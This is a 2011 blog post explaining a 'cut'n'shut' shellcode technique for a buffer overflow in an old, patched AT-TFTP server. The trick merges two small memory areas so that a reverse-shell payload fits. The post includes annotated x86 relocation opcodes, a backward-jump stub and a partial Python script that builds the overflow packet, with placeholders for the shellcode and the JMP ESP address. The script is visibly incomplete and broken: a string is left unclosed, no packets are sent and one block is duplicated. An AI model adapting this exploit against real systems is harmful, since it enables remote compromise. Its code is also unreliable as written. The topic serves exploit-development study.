Tuesday, 1 February 2011

Using cut'n'shut shellcode to expand available exploit code space

Recently I have been studying and researching buffer overflows with custom-built shellcode.

I've tried out various advanced techniques, such as partial EIP overwrites (to avoid Windows ASLR), egghunters, encoding/decoding, island hopping, SEH overwrites, and AV-avoidance.

I thought I would try something inventive yesterday - I call it Cut'n'shut shellcode ;o)

As a test example, I used a old exploit AT-TFTP-D (long-since patched) that only gave 222 bytes of code execution on a Windows Server. 222 bytes is not generally enough space for arbitrary code execution such as an encoded reverse-shell back to the attacker.

So I thought to myself, "How can I make the available space bigger just using the TFTP server?", and came up with an interesting solution.

As usual, I recommend that you should only test these techniques on systems where you have express permission.

More detail

To cut a long story short, I found that there was some filtering in the application, which meant that packets above a certain size would be ignored and would not crash the TFTP server.

Interestingly, data from these packets was still stored in an accessible memory location, so when the crafted packet was send to crash the application with a buffer overflow, and take control of code execution, there is the potential to have two payloads in memory.

This means that an attacker can place two pieces of code in memory one of 222 bytes, and one of around 250 bytes.

Neither of these are particularly useful on their own, but when bolted together it would be 470+ bytes, which is usually plenty of space to get a remote command shell working.

The basic structure

There was a bit of assembly language acrobatics to do, to get this to work.

Firstly, the only accessible area to initially jump to (using JMP ESP at a known location) was only 7 bytes long, so I put in a near jump there, to jump back around 250 bytes to our first main area of 222 bytes.

Luckily one of the registers (EDI) points to a known location within the other piece of attacker controlled memory, so I wrote a short piece of shellcode at the start of the first 222 byte buffer, to copy all of the code in this area, to another area in memory, to seamlessly meet the other code, fusing together the two pieces of code in a contiguous block.

To move shellcode1

Here is the code relocation code (Cut'n'shut code):

FC     CLD           ; Clear the directional flag
83EF60 SUB EDI,60    ; Point EDI to where we will put
83EF59 SUB EDI,59    ;  the first half of the shellcode
8BF4   MOV ESI,ESP   ; Point ESI to the source of the
83EE60 SUB ESI,60    ;  first half of the shellcode
83EE6C SUB ESI,6C    ;
33C9   XOR ECX,ECX   ; Zero ECX (without using any zeros)
B1C8   MOV CL,0C8    ; Put 0xC8 in ECX (again, without zeros used)
F3A4   REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> ; Copy all the code across
83EF60 SUB EDI,60    ; Point EDI to the start of our new code
83EF60 SUB EDI,60    ;
FFE7   JMP EDI       ; Jump to the new location in memory
90     NOP

Notice that in this piece of code I used a couple of techniques to avoid using the "\x00" byte. This is a "bad character" for this protocol, and would break the exploit (luckily there are not many bad-chars for this particular exploit which made writing the shellcode easier).

This means that a block of up to 450 bytes of self-decoding shellcode could then be used for the main payload, connecting back to our attacking system and providing a command shell.

Editing and running new opcodes on the fly

One of the most useful techniques I used while using Ollydbg to extend this exploit, was to write and run assembly language changes on the fly, instruction by instruction.

To do this, you set a breakpoint to stop execution and your initial jump instruction, then make sure your marker is in the right place, hit space, and you can then enter the assembly instructions, and run them as you go.

This means you can make quick changes, while debugging, to get very fine control over the state of the registers, memory and stack, to map out your proof of concept, and get it working.

Changes get highlighted in red, and you can then cut and paste the machine code opcodes, into the shellcode in your payload delivery program, to make a more permanent and reusable exploit, that works independently of the target system.

The final package

In my tests, running this simple python script below worked very well. Basically it causes two small packets to be sent to the target system. The "Second" payload gets delivered first, but executed second (if you know what I mean).

The first payload runs, copying itself to meet the second payload, unpacking the final combined payload which then compromises the system by giving a command shell back to the attacker.

All in all, this was a pretty complex hack, and took me a whole day to put together, troubleshoot, and get working. I missed out a lot of steps here to get the general idea across briefly. 

I have removed the shellcode from the example below for brevity (and also to confound the script-kiddies out there)

If you know what you are doing, I am sure you can fill in the blanks with some shellcode from Metasploit, and relevant JMP ESP addresses for the target platform.


import socket, sys, struct, time

host = sys.argv[1]
textport = sys.argv[2]

mode = "netascii"

# Cut'n'shut code
#83EF60 SUB EDI,60
#83EF59 SUB EDI,59
#83EE60 SUB ESI,60
#B1C8 MOV CL,0C8
#83EF60 SUB EDI,60
#83EF60 SUB EDI,60
#90 NOP

cutnshut = ("\xFC\x83\xEF\x60\x83\xEF\x59\x8B\xF4" +
"\x83\xEE\x60\x83\xEE\x6C\x33\xC9\xB1\xc8\xf3\xA4" +

# Make your own shellcode. You will need to avoid badchars (at least "\x00")

# First 193 bytes of shellcode goes here
payload1 = ("insert here")

# Find a JMP ESP address

eip = "insert jmp esp address"

# Where ESP is pointing put a backwards relative jump to start of the code

jumpback = "\xE9\x19\xff\xff\xff" + "\xCC" * 2

frontend = "\x00\x02" + cutnshut + payload1 + eip + jumpback + "\x00" + mode + "\x00"

# Insert the rest of shellcode here

rearend = ("A" * 251 + "insert here")

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
port = int(textport)
s.connect((host, port))


s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
port = int(textport)
s.connect((host, port))

print "BADOOOOF!!\n\n"

No comments:

Post a Comment